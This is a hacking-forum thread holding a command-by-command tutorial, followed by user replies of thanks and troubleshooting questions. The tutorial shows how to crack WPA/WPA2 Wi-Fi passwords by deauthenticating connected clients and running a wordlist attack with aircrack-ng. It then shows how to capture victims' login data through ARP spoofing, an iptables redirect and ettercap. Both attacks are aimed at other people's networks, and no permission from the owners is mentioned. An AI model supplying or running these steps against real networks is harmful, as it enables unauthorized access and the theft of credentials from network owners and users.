Forum:Hack Forums

Thread: [Tutoial] Cracking WPA Wifi, Packet sniffing passwords. - Linux BT/Kali

p99will - *February 28, 2014, 4:17 pm*

This small + simple guide is for those who want to know some basics,
you will need to be on a linux OS for this, Preferably Kali linux or at the least a distro of Back Track,
If you don't have either of those you will need to install the software

install software:
sudo apt-get install aircrack-ng (wpa/2 cracking)
sudo apt-get install ettercap (packet sniffing)

and somehow get a hold of 'arpspoof' I CBF finding packages to install to get it.

So... Cracking a wpa/2 network:
Spoiler (Click to View)
Anything with a hash ('#') we will not type as code, they will just be comments.

In Terminal/konsole... :

Code ifconfig #Displays list of network adaptors.# You want to get the name of your wireless card, It should be somthing like: wlan0, eth1...
It is unlikely to be 'lo, eth0...' If you do not know what your network card device is named,
use google to help you find out.

Command 1:
Code airmon-ng start (name of wireless card)# EG: airmon-ng start wlan0

You should see something saying "(monitor mode enabled on mon0)"
If you don't see that or there is an error (not a warning) then you did something wrong.
You can check its working by typing " ifconfig " again, this time looking for 'mon0'
If you have 'mon0' you have completed the task above.

Command 2:
Code airodump-ng -i mon0# This will present to you a list of all the wireless networks, under 'ESSID' you can see the
Name of the network, It should look something like this:

00:11:22:33:44:55 -35 300 200 0 11 54e WPA2 CCMP PSK Wireless_network_ESSID

You want to make sure the network you are attacking has 'WPA' or 'WPA2' as that is guide
only shows you how to crack that encryption type.

You then want to copy the BSSID, in this case its '00:11:22:33:44:55'.
You also want to keep not of what 'CH' (Channel) it is on, in this case its '11'

Command 3:
Code airodump-ng -i mon0 --bssid (BSSID) -c (Channel) -w (any filename)# EG: airodump-ng -i mon0 --bssid 00:11:22:33:44:55 -c 11 -w capture1 --ignore-negative-one

Leave this running for a while, for the attack to be successful and for us to proceed...
There will need to be devices connected to the network that we are attacking.
We will know if there are 'clients' (devices) on this network when a/some entries
Show up under the 'STATION' Heading. Make sure there is also a 'BSSID' next to the
Station. Everything should look something like this:

Code # CH 11][Elapsed: 1 mins][2014-02-28 20:20
#
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
#
00:11:22:33:44:55 -35 100 20 60 30 11 54e WPA2 CCMP PSK Wireless_network_ESSID
#
BSSID STATION PWR Rate Lost Frames Probe
#
AA:BB:CC:DD:EE:FF 00:11:22:33:44:55 0 12e-1 0 105 -# There is no way I can make that all line up because HF removes multiple spaces so deal with it...

So once you are sure there is a 'client' connected to the network we need to de-auth them
In a new Terminal window (keeping this previous one still open) type:

Command 4:
Code aireplay-ng -0 1 -a (BSSID) -c (client's Station) mon0 --ignore-negative-one# EG: aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 mon0 --ignore-negative-one

After executing this command go back to the other Terminal window and check if we captured
A handshake. At the top next to (Right of) the date/time ie: '2014-03-01 12:25' we will see:

2014-03-01 12:25][WPA handshake: AA:BB:CC:DD:EE:FF

You may need to repeat Command 4 with different clients (or same) until you get a handshake.
You can also use Command 4 without specifying the client ('-c 00:11:22:33:44:55'), by removing
This part there is still a chance if deauthing a client, but is less likely...

So now you have captured the WPA handshake we can begin cracking it (decrypting)
You can stop the 'airodump-ng' by pushing 'ctrl + c' and turn your aircard off monitor mode

Command 5
Code airmon-ng stop mon0# You not no longer actually need to be in the same area as the access point, you can go home if you want.

For this next step you probably want a strong computer (powerful CPU), If you will just use the same computer
Thats ok too, if you do decide to use another computer you will need to install 'aircrack-ng', this is available on
any platform...

You also are going to need a wordlist and a lot of free time (or able to leave computer running)
I'd recommend a wordlist from CrackStation
I commonly use the 247MB (648MB expanded) download, but if you have a good computer and like 42
hours to spare you can use the 4.2GB (15GB expanded) one.

Command 6:
Code aircrack-ng -w (wordlist) -b (bssid) (capture file)#EG: aircrack-ng -w Downloads/crackstation-human-only.txt -b AA:BB:CC:DD:EE:FF captures/capture1.ivs

Note: The '-b AA:BB:CC:DD:EE:FF' is optional, if you don't specify it it will just give you a list to choose
from, likely to be the only one you attacked. If you did not successfully captured the handshake it will say
"Got no data packets from target network!"

If everything worked you should be presented with something like this:
Code # Aircrack-ng 1.2 beta2
[00:00:05] 205 keys tested (500 k/s)
#
Current passphrase: potato
#
Master Key : 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
#
Transient Key: 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
#
EAPOL HMAC : 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF
After letting this run through for freken ages you should see:
Code # KEY FOUND! [password123]# And now you can access the network with the wpa password.

Sniffing passwords: (requires access to the victims network)
Spoiler (Click to View)
#Once connected to the network open up Terminal and type:

Command 1:
Code echo 1> /proc/sys/net/ipv4/ip_forward
Command 2:
Code nano /etc/ettercap/etter.conf
Hold the down arrow to go down the page untill you see:
Code # #------
Linux
#------
...
#If you use iptables:
#redir_command_on = "iptables -t ....
#redir_command_of = "iptables -t ....
Remove the '#' both of the 'redir_command', It should look something like this:

Code # #If you use iptables:
redir_command_on = "iptables -t ....
redir_command_of = "iptables -t ....# once you've done that hit: 'ctrl + x ' then 'y' then 'ENTER'

Command 3:

Code iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Command 4:
Code arpspoof -i (name if aircard) -t (victim-ip) (gateway-ip)# EG: arpspoof -i wlan0 -t 192.168.1.59 192.168.1.254

You can find the ip's of people on the network using 'nmap' (a tutorial will not be supplied here)

While 'arpspoof' is running, open another terminal window and run:

Command 5:
Code ettercap -T -q -i (name of aircard) /(victim-ip)/ /(gateway-ip)/# EG: ettercap -T -q -i wlan0 /192.168.1.59/ /192.168.1.254/

Done, If the victim navigates to any page and posts any data (like usernames/passwords) to a webpage
They will be logged here,

Note this is likely to show a lot of https warnings, and looks kinda suspicious.

When you are finished sniffing packets... push 'crtl + c' in the terminal running 'arpspoof' and
push 'q' in the terminal running 'ettercap'

- Tutorial by p99will

Any questions post a reply, please don't pm me. Please use google to solve problems before posting.
Also remember you can type almost any command with '-h' to see what everything does.
Remember this is a tutorial, not a lesson.

Huskar - *November 3, 2014, 10:01 pm*
This is a easy to follow guide!
Thank you.

techme1 - *November 18, 2014, 1:47 am*
it's show me eth0 and lo and what i type in google for findout my network device card name

techme1 - *November 20, 2014, 9:45 pm*
(Nov 18, 2014 02:47 AM)techme1 Wrote: *[CITE]* it's show me eth0 and lo and what i type in google for findout my network device card name
sorry for double post but this help me this issue

UnPluggedToaster - *November 20, 2014, 11:05 pm*
(Nov 20, 2014 10:45 PM)techme1 Wrote: *[CITE]* sorry for double post but this help me this issue
It is a known issue if you are running Kali or Backtrack in Virtual Box or such. Essentially, since your in a virtual system, the OS sees your wifi card as a Ethernet connection instead. Basically, you have no wifi or the OS thinks you dont. Therefore, you cannot perform any sort of wifi cracking in VM ware. The only solution to this problem is using a 802.11n usb driver or something similar.

Hope that helped.

Reeps - *November 20, 2014, 11:23 pm*
I used Ubuntu for this haha I disconnected my laptop offline by accident, and I was getting scared

because my wifi connection was not showing up. It found the connection after a reset.

ostad_12 - *May 15, 2015, 1:22 am*
bad help man is learning hack in cookbook in kali linux

Madmatt2014 - *June 1, 2015, 5:24 pm*
This is a great guide but I have one major issue and that is that my network card is eth0 and I don't know what to do about it please help! Thanks

dolferus - *June 2, 2015, 3:30 pm*
Hi, I'm new to this. What software would best work with a mac or is there any?

p99will - *December 15, 2015, 12:17 pm*
(Jun 2, 2015 03:30 PM)dolferus Wrote: *[CITE]* Hi, I'm new to this. What software would best work with a mac or is there any?
This post is a little old, but its okay.

There is a program called 'Kismac' that is able to crack Wi-Fi networks,

As for the password sniffing... I have no idea. but there will be tools. You just have to search around for them.

ZenOfficial - *December 15, 2015, 12:41 pm*
hey I got your pm and yes it would be real nice if you let me use your vps, do you have skype so I can talk to you in further detail?

????ll?? - *December 15, 2015, 12:42 pm*
thank you for you're easy guide!

stay hq op !